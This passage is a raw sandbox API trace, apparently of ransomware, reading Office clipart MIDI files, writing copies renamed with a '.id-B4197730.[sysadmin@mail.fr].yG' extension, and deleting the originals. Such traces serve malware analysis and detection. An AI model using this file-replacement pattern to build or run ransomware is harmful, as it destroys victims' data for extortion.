	[0149.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.922] lstrlenW (lpString=".xlsx") returned 5
	[0149.922] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.922] lstrlenW (lpString=".ppt") returned 4
	[0149.922] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.922] lstrlenW (lpString=".zip") returned 4
	[0149.922] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.922] lstrlenW (lpString=".rar") returned 4
	[0149.922] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.922] lstrlenW (lpString=".bz2") returned 4
	[0149.922] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.922] lstrlenW (lpString=".7z") returned 3
	[0149.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.922] lstrlenW (lpString=".dbf") returned 4
	[0149.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.922] lstrlenW (lpString=".1cd") returned 4
	[0149.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.939] lstrlenW (lpString=".jpg") returned 4
	[0149.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.939] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0149.939] lstrlenW (lpString="EAST_01.MID") returned 11
	[0149.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0149.942] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=6165) returned 1
	[0149.942] CloseHandle (hObject=0x540) returned 1
	[0149.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220
	[0149.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0149.943] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.943] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.944] GetLastError () returned 0x0
	[0149.944] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x1815, lpOverlapped=0x0) returned 1
	[0149.961] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1820, lpOverlapped=0x0) returned 1
	[0149.962] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.962] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xea, lpOverlapped=0x0) returned 1
	[0149.962] SetEndOfFile (hFile=0x51c) returned 1
	[0149.962] CloseHandle (hObject=0x51c) returned 1
	[0149.963] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.963] SetEndOfFile (hFile=0x540) returned 1
	[0149.966] CloseHandle (hObject=0x540) returned 1
	[0149.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1
	[0149.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.968] lstrlenW (lpString=".doc") returned 4
	[0149.968] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0149.968] lstrlenW (lpString=".docx") returned 5
	[0149.968] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0149.968] lstrlenW (lpString=".pdf") returned 4
	[0149.968] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0149.968] lstrlenW (lpString=".xls") returned 4
	[0149.968] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0149.968] lstrlenW (lpString=".xlsx") returned 5
	[0149.968] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0149.968] lstrlenW (lpString=".ppt") returned 4
	[0149.968] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0149.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.968] lstrlenW (lpString=".zip") returned 4
	[0149.968] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0149.968] lstrlenW (lpString=".rar") returned 4
	[0149.968] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0149.968] lstrlenW (lpString=".bz2") returned 4
	[0149.968] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0149.968] lstrlenW (lpString=".7z") returned 3
	[0149.968] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0149.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.968] lstrlenW (lpString=".dbf") returned 4
	[0149.968] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0149.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.968] lstrlenW (lpString=".1cd") returned 4
	[0149.968] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0149.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.969] lstrlenW (lpString=".jpg") returned 4
	[0149.969] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0149.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.969] lstrlenW (lpString=".doc") returned 4
	[0149.969] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0149.969] lstrlenW (lpString=".docx") returned 5
	[0149.969] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0149.969] lstrlenW (lpString=".pdf") returned 4
	[0149.969] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0149.969] lstrlenW (lpString=".xls") returned 4
	[0149.969] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0149.969] lstrlenW (lpString=".xlsx") returned 5
	[0149.969] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0149.969] lstrlenW (lpString=".ppt") returned 4
	[0149.969] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0149.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.969] lstrlenW (lpString=".zip") returned 4
	[0149.969] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0149.969] lstrlenW (lpString=".rar") returned 4
	[0149.969] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0149.969] lstrlenW (lpString=".bz2") returned 4
	[0149.969] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0149.970] lstrlenW (lpString=".7z") returned 3
	[0149.970] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0149.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.970] lstrlenW (lpString=".dbf") returned 4
	[0149.970] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0149.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.970] lstrlenW (lpString=".1cd") returned 4
	[0149.970] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0149.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0149.970] lstrlenW (lpString=".jpg") returned 4
	[0149.970] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0149.970] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0149.970] lstrlenW (lpString="EXPLR_01.MID") returned 12
	[0149.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0149.971] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=10562) returned 1
	[0149.971] CloseHandle (hObject=0x540) returned 1
	[0149.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220
	[0149.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0149.972] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.972] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.973] GetLastError () returned 0x0
	[0149.973] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2942, lpOverlapped=0x0) returned 1
	[0149.996] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2950, lpOverlapped=0x0) returned 1
	[0150.016] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.016] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.016] SetEndOfFile (hFile=0x51c) returned 1
	[0150.016] CloseHandle (hObject=0x51c) returned 1
	[0150.016] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.016] SetEndOfFile (hFile=0x540) returned 1
	[0150.019] CloseHandle (hObject=0x540) returned 1
	[0150.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1
	[0150.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.021] lstrlenW (lpString=".doc") returned 4
	[0150.021] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.021] lstrlenW (lpString=".docx") returned 5
	[0150.021] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.021] lstrlenW (lpString=".pdf") returned 4
	[0150.021] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.021] lstrlenW (lpString=".xls") returned 4
	[0150.021] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.021] lstrlenW (lpString=".xlsx") returned 5
	[0150.021] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.021] lstrlenW (lpString=".ppt") returned 4
	[0150.021] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.021] lstrlenW (lpString=".zip") returned 4
	[0150.021] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.021] lstrlenW (lpString=".rar") returned 4
	[0150.021] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.021] lstrlenW (lpString=".bz2") returned 4
	[0150.021] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.021] lstrlenW (lpString=".7z") returned 3
	[0150.021] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.021] lstrlenW (lpString=".dbf") returned 4
	[0150.021] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.022] lstrlenW (lpString=".1cd") returned 4
	[0150.022] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.022] lstrlenW (lpString=".jpg") returned 4
	[0150.022] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.250] lstrlenW (lpString=".doc") returned 4
	[0150.250] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.250] lstrlenW (lpString=".docx") returned 5
	[0150.250] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.250] lstrlenW (lpString=".pdf") returned 4
	[0150.250] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.250] lstrlenW (lpString=".xls") returned 4
	[0150.250] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.250] lstrlenW (lpString=".xlsx") returned 5
	[0150.250] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.250] lstrlenW (lpString=".ppt") returned 4
	[0150.250] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.251] lstrlenW (lpString=".zip") returned 4
	[0150.251] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.251] lstrlenW (lpString=".rar") returned 4
	[0150.251] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.251] lstrlenW (lpString=".bz2") returned 4
	[0150.251] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.251] lstrlenW (lpString=".7z") returned 3
	[0150.251] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.251] lstrlenW (lpString=".dbf") returned 4
	[0150.251] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.251] lstrlenW (lpString=".1cd") returned 4
	[0150.251] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0150.251] lstrlenW (lpString=".jpg") returned 4
	[0150.251] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.251] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.252] lstrlenW (lpString="GRID_01.MID") returned 11
	[0150.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.721] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=6331) returned 1
	[0150.721] CloseHandle (hObject=0x51c) returned 1
	[0150.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220
	[0150.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.722] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.722] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0150.723] GetLastError () returned 0x0
	[0150.723] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x18bb, lpOverlapped=0x0) returned 1
	[0150.725] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0150.726] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.726] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xea, lpOverlapped=0x0) returned 1
	[0150.726] SetEndOfFile (hFile=0x52c) returned 1
	[0150.727] CloseHandle (hObject=0x52c) returned 1
	[0150.727] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.727] SetEndOfFile (hFile=0x51c) returned 1
	[0150.730] CloseHandle (hObject=0x51c) returned 1
	[0150.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1
	[0150.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.731] lstrlenW (lpString=".doc") returned 4
	[0150.731] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.731] lstrlenW (lpString=".docx") returned 5
	[0150.731] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.731] lstrlenW (lpString=".pdf") returned 4
	[0150.731] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.731] lstrlenW (lpString=".xls") returned 4
	[0150.731] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.731] lstrlenW (lpString=".xlsx") returned 5
	[0150.731] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.731] lstrlenW (lpString=".ppt") returned 4
	[0150.731] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.732] lstrlenW (lpString=".zip") returned 4
	[0150.732] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.732] lstrlenW (lpString=".rar") returned 4
	[0150.732] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.732] lstrlenW (lpString=".bz2") returned 4
	[0150.732] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.732] lstrlenW (lpString=".7z") returned 3
	[0150.732] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.732] lstrlenW (lpString=".dbf") returned 4
	[0150.732] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.732] lstrlenW (lpString=".1cd") returned 4
	[0150.732] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.732] lstrlenW (lpString=".jpg") returned 4
	[0150.732] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.733] lstrlenW (lpString=".doc") returned 4
	[0150.733] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.733] lstrlenW (lpString=".docx") returned 5
	[0150.733] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.733] lstrlenW (lpString=".pdf") returned 4
	[0150.733] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.733] lstrlenW (lpString=".xls") returned 4
	[0150.733] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.733] lstrlenW (lpString=".xlsx") returned 5
	[0150.733] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
